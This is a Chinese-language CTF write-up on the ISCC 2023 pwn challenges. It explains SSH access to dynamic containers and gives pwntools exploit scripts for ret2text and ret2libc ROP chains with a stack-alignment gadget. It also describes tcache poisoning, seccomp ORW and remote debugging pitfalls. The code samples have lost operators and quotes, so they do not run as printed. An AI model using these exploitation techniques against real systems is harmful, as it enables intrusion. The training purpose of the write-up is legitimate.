ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

ISCC 2023 pwn实战:动态容器与栈溢出利用经验

ISCC 2023 pwn实战:动态容器与栈溢出利用经验 第一次打ISCC 2023 pwn方向的时候我第一道题不是卡在漏洞利用上而是卡在怎么连上题目环境。相信很多第一次接触ISCC的选手都有同感——别的CTF比赛pwn题都是给你一个IP和端口用nc连上去就能打ISCC偏偏不走寻常路它是把题跑在一个动态容器里你得先学会跟这套容器机制打交道才有资格谈ROP、谈堆利用。这篇东西就把我打ISCC 2023 pwn部分的完整经验拆开讲从赛制特点、入门路径、经典题型拆解到真机踩坑记录适合准备参加ISCC的新手也适合想系统性补pwn基础的人。1. ISCC 2023的pwn为什么先要过连容器这一关1.1 动态容器机制到底是什么ISCC的pwn方向用的是动态容器出题方式社区里戏称pwn动态容器。选手在平台上请求一道题之后后台会临时拉起一个独立的Docker容器分配给当前用户同时返回一组SSH连接信息包括IP、端口和密码。你需要通过SSH登进这个容器在容器内部找到可执行文件、分析漏洞、完成利用最后读取flag文件提交。这套机制和传统CTF的最大区别在于传统题目是远程服务常驻你只需要对着一个nc端口发payload而ISCC的题目是靶机你来登录容器里的环境和文件都是活的你可以在里面自由调试、反复运行程序甚至可以往上提权、翻目录。这其实更贴近真实的渗透场景也更有在一台机器上做本地利用的味道。我打2023届的时候圈子里流传一个宝可梦的说法说的是这些动态容器就像一只只宝可梦你拿到一个容器就等于领到了一只宠能不能驯服它全看你的pwn功夫。虽然是个梗但确实点出了ISCC pwn的核心玩法——你要在一个完整的Linux环境里完成漏洞利用。1.2 连接容器的正确姿势与常见误区拿到题目后平台一般会给这样的信息连接方式SSH地址xxx.xxx.xxx.xxx端口一个不常见的四位或五位端口用户名通常是ctf或者题目自定义的用户名密码一串随机字符串SSH连接命令长这样ssh -p 2222 ctf123.45.67.89输入密码确认后终端提示符变成容器内的shell这是跟远程服务交互完全不同的体验。登进去之后第一件事不是急着跑程序而是先执行几条命令摸清环境ls -la file ./pwn checksec ./pwn cat /etc/os-release ldd --version我见过不少人在第一步就翻车典型误区有三个。第一个是不知道SSH密码怎么输入以为自己拿到的连接串里那个冒号后面的东西是端口结果输错密码被锁连接。第二个是登进去之后发现没有python3想当然认为远程环境和本地一样有pwntools结果exp跑不起来。第三个是忽略了这个动态容器里可能不止一个flag文件——有时候题目要求读的flag不在当前目录而在根目录或者/tmp下的隐藏路径只盯着当前目录找会白白浪费大量时间。1.3 为什么ISCC要用这种出题方式从出题人的角度看动态容器有三个明显的好处。第一是隔离性每个选手一个独立的容器互相之间不干扰也不存在某个选手在服务器上搞破坏影响其他人的情况。第二是环境可控所有选手拿到的环境完全一致不存在有的人libc版本对、有的人不对的公平性问题。第三是可以放心设计需要交互的题目——传统nc服务只能做标准输入输出的交互而在容器里你可以让选手执行任意命令、读取任意文件这给pwn题的设计打开了很大空间。对选手来说这套机制实际上是把远程利用拆成了两步先本地分析漏洞、构造exp再通过SSH连到容器里验证和利用。难度上限并没有变但多了一层环境适应成本。我在2023年的一篇复盘中把ISCC pwn的难度曲线总结为入门友好、进阶陡峭第一周题往往就是一道中规中矩的栈溢出签到题越往后越硬核堆、沙箱、容器逃逸一个比一个狠。2. pwn入门的第一套工具链与题型地图2.1 本地方案虚拟机比WSL省心太多如果你是从零开始打pwn第一件事不是刷题而是把本地环境搭好。我强烈建议装一个Ubuntu 22.04的虚拟机版本其实无所谓但最好保持一个长期稳定不折腾的环境。为什么不用WSL我最初觉得WSL方便后来发现它有两个痛点一是WSL的网络模型和真机Linux有差异调试某些涉及原始套接字或特殊权限的程序会莫名报错二是很多人喜欢在pwn的时候开多个终端同步调试WSL的终端体验始终隔了一层。虚拟机加一个轻量桌面用起来最踏实。环境装好后需要准备的工具清单大概是这样的工具用途是否必需pwntools编写exp的核心框架负责发数据、接收数据、解析地址必需IDA Pro / Ghidra逆向分析程序逻辑定位漏洞点必需gdb pwndbg动态调试程序观察栈和寄存器状态必需checksec / readelf检查程序保护机制必需ROPgadget / ropper搜索ROP gadget必需one_gadget找一体化的execve gadget强烈建议patchelf修改ELF解释器和库路径配合指定libc本地调试强烈建议LibcSearcher / libcdb根据泄露地址反查libc版本强烈建议安装pwntools一条命令搞定python3 -m pip install --upgrade pwntoolsgdb插件pwndbg是pwn调试的利器它能自动显示栈上的返回地址、堆的chunk信息、寄存器的值比裸gdb的效率高得多。安装也不复杂克隆仓库后运行install.sh即可。2.2 常见pwn题型一张表看懂打ISCC 2023之前你需要对pwn的大类有一个全局认知。我把常见题型整理成了一张表题型核心漏洞点典型利用方式难度栈溢出gets/read等危险函数写入超出缓冲区ret2text、ret2shellcode、ret2libc、ROP入门到中等格式化字符串printf等格式化函数可控格式串任意地址读/写、泄露canary和libc入门到中等整数溢出大小比较绕过、类型转换错误导致超长写入负数索引、数组越界、堆块大小混乱中等堆溢出malloc/free使用不当导致堆块越界或悬垂tcache poisoning、UAF、chunk overlap中等到困难沙箱逃逸禁用了execve系统调用ORW读取flag、白名单绕过中等到困难容器逃逸Docker/runc等容器边界漏洞特殊系统调用导致宿主机文件访问困难ISCC 2023 pwn方向的题基本把这张表覆盖了个遍但比例上还是以栈和堆为主。新手想拿分栈溢出是必须吃透的因为近几年的ISCC都保底有一道栈溢出签到题。2.3 做题的标准流程骨架我给自己总结了一套固定的做题flow每次拿到pwn题都是按这个节奏走file pwn看程序架构和位数是32位还是64位是否静态编译。checksec pwn看保护机制重点关注NX、PIE、Canary、RELRO。先跑一遍程序输入一些测试数据观察输出和崩溃情况。用IDA打开定位到main函数梳理程序的输入点、输出点、漏洞函数。通过静态分析和gdb动态调试确认漏洞类型及利用条件。本地编写exp目标是getshell或读取flag。本地稳定通过后连ISCC动态容器在真实环境里跑。这套流程看起来没什么技术含量但能保证不遗漏关键环节。很多时候我卡题不是卡在利用上而是卡在第4步——没在IDA里把程序逻辑看仔细。3. 一道典型入门题从checksec到ROP的完整推演3.1 题目形态与保护机制ISCC 2023 pwn部分第一周的入门题风格和ctfshow的pwn 074这类题比较接近一个64位的二进制程序没有开启PIENX开启Canary关闭或者只是栈上有一个可绕过的小机关。别觉得这种题太简单它能帮你把从逆向到利用的整个链路跑通这个能力的价值远大于会一种花式技巧。假设拿到一个文件叫pwn运行时它输出一个提示然后调用gets读入输入。用checksec看保护结果大概是Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)没有Canary意味着栈溢出可以直接覆盖返回地址没有PIE意味着程序里的函数地址是固定的这两个条件凑在一起栈溢出题的黄金开局。3.2 IDA反编译与漏洞定位用IDA打开之后main函数长这样int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; setbuf(stdout, 0); puts(Welcome to ISCC pwn!); puts(Input your name:); gets(buf); return 0; }问题一目了然buf只有64字节大小gets可以无限读直接把返回地址覆盖掉。这类程序通常还有一个隐藏函数比如void win() { system(/bin/sh); }如果存在win函数那这就是最基础的ret2text把返回地址改成win的地址程序返回之后就会执行system(/bin/sh)。用pwntools写exp非常直接from pwn import * context.arch amd64 context.log_level debug io process(./pwn) elf ELF(./pwn) win_addr elf.sym[win] payload bA * 72 p64(win_addr) io.sendline(payload) io.interactive()偏移量怎么算64位程序里buf到返回地址之间的空间是64字节缓冲区 8字节旧的RBP所以是72字节。把cyclic pattern发进去gdb看崩溃时RIP指向的字符串也能快速算出来。但我不建议每次都靠gdb算——理解栈帧结构更关键buf在最底部往上先是RBP再往上才是返回地址。3.3 没有win函数时的标准打法真正考试里没那么善良签到题里有win函数第二题就没有了。程序开启了NX栈上不可执行所以ret2shellcode也指望不上。这时候需要用到ret2libc和ROP的思路。原理说起来也不复杂程序肯定有puts或printf来输出东西用栈溢出把返回地址改成puts的PLT地址参数设置成GOT表里puts的真实地址这样程序就会执行puts(putsgot)把puts在libc中的真实地址打印出来然后跳回main从头再来。第二次运行时根据泄露的地址反推出libc的基址和system、/bin/sh的地址再用一次栈溢出调用system(/bin/sh)。关键exp部分长这样from pwn import * context.arch amd64 context.log_level debug io process(./pwn) elf ELF(./pwn) pop_rdi 0x4012a3 # 用ROPgadget搜到的pop rdi; ret puts_got elf.got[puts] puts_plt elf.plt[puts] main_addr elf.sym[main] # 第一次溢出泄露puts真实地址 payload bA * 72 payload p64(pop_rdi) payload p64(puts_got) payload p64(puts_plt) payload p64(main_addr) io.sendlineafter(bname:, payload) io.recvuntil(b\n) puts_addr u64(io.recv(6).ljust(8, b\x00)) log.success(fputs_addr {hex(puts_addr)})为什么要加pop rdi; ret这个gadget因为x86_64的传参约定是前6个参数通过寄存器传递第一个参数放在RDI里。正常调用puts程序会把参数压栈但ROP里没有自动把栈上数据放到RDI这回事必须手动找一个pop rdi; ret把栈上紧跟返回地址的那个值弹进RDI。这就是ROP的底层逻辑——在栈上铺一条路每一步跳转都在执行你想要的操作。拿到puts的真实地址之后用自己的libc算偏移或者用LibcSearcher这类工具反查from LibcSearcher import LibcSearcher obj LibcSearcher(puts, puts_addr) obj.add(puts, puts_addr) # 如果有更多泄露地址可以加 libc_base puts_addr - obj.dump(puts) system_addr libc_base obj.dump(system) bin_sh_addr libc_base obj.dump(str_bin_sh)第二次溢出就构造这么一条链payload2 bA * 72 payload2 p64(pop_rdi) payload2 p64(bin_sh_addr) payload2 p64(system_addr) io.sendlineafter(bname:, payload2) io.interactive()3.4 本地测试时最容易忽略的栈对齐问题理论上这个exp已经完整了但很多新手第一次跑64位栈溢出的ROP链会发现本地明明逻辑全对程序却在调用system的时候直接报错崩溃gdb里看到的错误是SIGSEGV位置在system函数内部裸的返回地址检查也看不出问题。这个坑九成是栈对齐问题。glibc的某些函数包括system内部会使用SSE指令SSE指令要求栈指针16字节对齐。如果你的payload是填充 pop_rdi bin_sh system_addr长度刚好是8字节的倍数那么进入system时RSP的地址尾数是8而不是0就会触发对齐错误。解决办法是在pop_rdi前面多加一个ret gadgetret 0x40101a # ret; 这个gadget通常能用ROPgadget搜到 payload2 bA * 72 payload2 p64(ret) payload2 p64(pop_rdi) payload2 p64(bin_sh_addr) payload2 p64(system_addr)这个ret不执行任何实际逻辑只是把RSP往下挪8字节让栈指针对齐到16字节边界。这个细节我在ISCC正式比赛前就遇到过好几次属于典型的本地怎么测都崩、你根本不知道问题在哪的坑提前知道了能省很多时间。4. 进阶题里那些卡三天的点堆、沙箱与动态环境差异4.1 堆利用的核心逻辑从UAF到tcache poisoning到了ISCC 2023 pwn的中后期栈溢出题基本消失取而代之的是大量堆题。堆题和栈题最大的区别在于栈是线性的溢出点就在眼前堆是动态分配的漏洞往往藏在使用、释放的交互逻辑里。2023年让我印象最深的一类堆题是UAFUse After Free即程序在free一个指针之后没有置空之后又可以通过旧指针读写这段内存。UAF配合glibc的tcache机制可以做出经典的tcache poisoning攻击。思路大致是申请两个相同大小的chunk释放其中一个它会进入tcache bin。利用UAF修改这个已被释放chunk的fd字段把它指向一个目标地址比如__free_hook。再申请两次相同大小的chunk第二次就会从目标地址分配内存从而获得对__free_hook附近内存的读写能力。把__free_hook改成system函数的地址下一次调用free的时候等同于调用system(/bin/sh)。这个过程理论上不难理解但实操中每个版本libc的tcache结构、key校验、double free检测都不一样一个细节没对上就崩。写堆exp的时候我强烈建议开着gdb加上pwndbg一步步看堆的布局盯着tcache bin里的链表变化而不是一口气写完整版payload去碰运气。有时候明明思路对只是fd里多了一位字节没清干净就导致整个链子断了。4.2 沙箱题与ORW不一定非得getshellISCC pwn的进阶题里有一类很折磨人的题程序在启动时用seccomp禁用了execve系统调用。这意味着你就算拿到了代码执行能力也没法通过system(/bin/sh)来拿shell所有传统的getshell思路全部作废。这类题的解法是ORW也就是open、read、write三个系统调用的组合先open打开flag文件得到一个文件描述符fd。用read从fd读取内容到一个可写的内存区域。用write把内容输出到标准输出。构造方式还是ROP只是把system换成了一串系统调用。麻烦之处在于有些程序开启了PIE和Full RELRO你还要多一步泄露程序基址和libc基址然后利用libc里的gadget拼出open/read/write的链条。我记得自己在2023年遇到第一道沙箱题时花了整整一个晚上调试最后发现问题居然是我忘了在open之后、read之前文件描述符不是从0开始的——程序可能已经打开了别的文件flag的文件描述符不是我想当然的3。这种边界条件如果不通过strace观察系统调用序列光靠脑子想很难排查。4.3 动态容器环境差异为什么本地通了一切远程还是崩ISCC动态容器的另一个隐藏考点是系统环境差异。你自己的虚拟机是Ubuntu 22.04libc版本是2.35但比赛容器用的镜像可能是Ubuntu 20.04甚至18.04libc版本是2.31或2.27。不同版本的libc对堆管理的实现不同_IO_2_1_stdout_的结构不同__free_hook的偏移也不同这些差异都可能让你的exp在本地运行完美一到远程就崩溃。应对方法是提前确认远程libc版本。在动态容器里你有SSH权限可以先执行ls -la /lib/x86_64-linux-gnu/libc.so.6或者更直接一点在容器里跑一个会打印libc版本的小程序。拿到libc文件之后用patchelf改本地二进制文件的动态链接器和库路径让它在本地也使用远程那个libc版本调试。这个步骤虽然有点繁琐但它是打动态容器pwn题的基本功省不了的。5. 本地打通、远程不通五个高频根因与排查方法5.1 根因一libc版本不匹配前面已经提到远程容器和本地虚拟机libc版本不一致是最常见的本地通、远程崩原因。经验是如果exp在本地能稳定getshell或读flag但远程一跑就非法指令、断在奇怪的地方优先去容器里确认libc版本和程序依赖的库而不是怀疑自己的exp写错了。排查措施SSH进入容器执行ldd ./pwn查看动态库路径直接拷贝/lib/x86_64-linux-gnu/libc.so.6回本地。用patchelf给本地二进制指定该libc和对应的ldpatchelf --set-interpreter ./ld-2.31.so ./pwn patchelf --set-rpath . ./pwn在本地点./pwn先验证修改后的程序能正常运行再用pwntools的process加载它。5.2 根因二接收数据的时机不对栈溢出题里经常出现这样的情况远程程序输出了一堆日志和提示符你的pwntools用了recvline()读取但读到的内容跟你预期的不一样导致后续解析地址出错。原因往往是远程环境里程序启动时慢、网络有延迟或者puts的输出缓冲和你的exp接收时序错位。解决方法是尽量用recvuntil去等一个确定的分隔符而不是用固定长度的recv或sleep。比如io.recvuntil(bInput your name:) io.sendline(payload)这样即使网络有延迟程序也不容易因为时序问题崩掉。我见过有人写exp时用time.sleep(1)等输出这种写法在本地好使远程网络不稳定时很容易翻车。5.3 根因三payload里的空字节截断如果你的栈溢出是通过strcpy、sprintf这类字符串函数写入的payload里一旦出现\x00就会被截断后面的数据全部丢失。64位地址本身高两个字节就是\x00比如0x00000000004007b3写到内存里是\xb3\x07\x40\x00\x00\x00\x00\x00strcpy遇到第四个字节的\x00就停了。这个问题在gets和read函数上不存在因为它们不会因为\x00中断。但如果你拿到的题目是一个手写解析器或者存在中间层字符串拷贝就有这个隐患。遇到这种情况的解法通常有三个找一个地址本身不含\x00的高位修改利用方式比如把溢出点换成read或者用部分覆盖partial overwrite只改低字节。5.4 根因四容器内没有想要的工具exp无法直接落地有些人喜欢在容器里直接跑exp脚本但ISCC的动态容器镜像通常只装了题目运行所需的依赖不会有python3的pwntools。你本地写好的exp在容器里根本跑不起来这不是exp的问题而是执行环境的问题。正确做法是先分清楚两个环境本地负责写exp和调试容器是攻击目标。exp应该在本机运行通过SSH端口转发或nc连接到容器里的题目服务。如果你确实需要在容器内执行一些命令可以直接用SSH的-p端口登录手动把payload发过去而不是试图在容器内搭一套完整的pwn环境。还有一种做法是使用pwntools的ssh函数直连容器执行命令适合需要交互的利用流程from pwn import * s ssh(host123.45.67.89, port2222, userctf, passwordxxx) io s.process([./pwn])5.5 根因五目标不是一个普通shell而是文件读取有些题不管你拿不拿得到shellflag都不会以常规方式出现。比如程序内部把flag读进内存然后用自定义协议返回或者flag文件的描述符被关闭但你通过读/proc/self/fd或者/proc/self/mem能找到它。这种情况下就算你成功执行了system(/bin/sh)也可能因为标准输入输出没有正确绑定而看不到shell误以为自己的exp失败了。如果本地能getshell但远程看起来卡住不动我建议先把exp里的交互方式改成非交互式的命令执行比如调用system(cat /flag)而不是直接给一个shell。这不改变利用链的本质但能避免shell本身的各种缓冲问题也更容易定位问题出在利用失败还是交互失败。一点无关技巧的闲话ISCC 2023的pwn部分打下来我最深的感受是pwn不是背payload而是一套理解内存、理解程序、理解系统的思维方式。动态容器这套机制天然要求选手理解运行环境因为你连题目都连不上时一切技巧都没意义。2023年之前我只刷过ctfshow的pwn题练手那些题环境固定、地址固定、攻击脚本一跑就通而ISCC逼着我把远程环境当一回事。建议准备ISCC的选手提前去熟悉Docker容器的基本操作和SSH交互同时建一个自己的exp模板库——把栈溢出、堆利用、ORW这三类题的骨架模板存好比赛时直接用模板改地址能省出大量时间。等你把ISCC这套动态容器玩熟了再去参加其他CTF的pwn题会发现那些传统nc题目简直就是简化版——因为它们不需要你考虑环境只需要你集中精力对付漏洞本身。
返回列表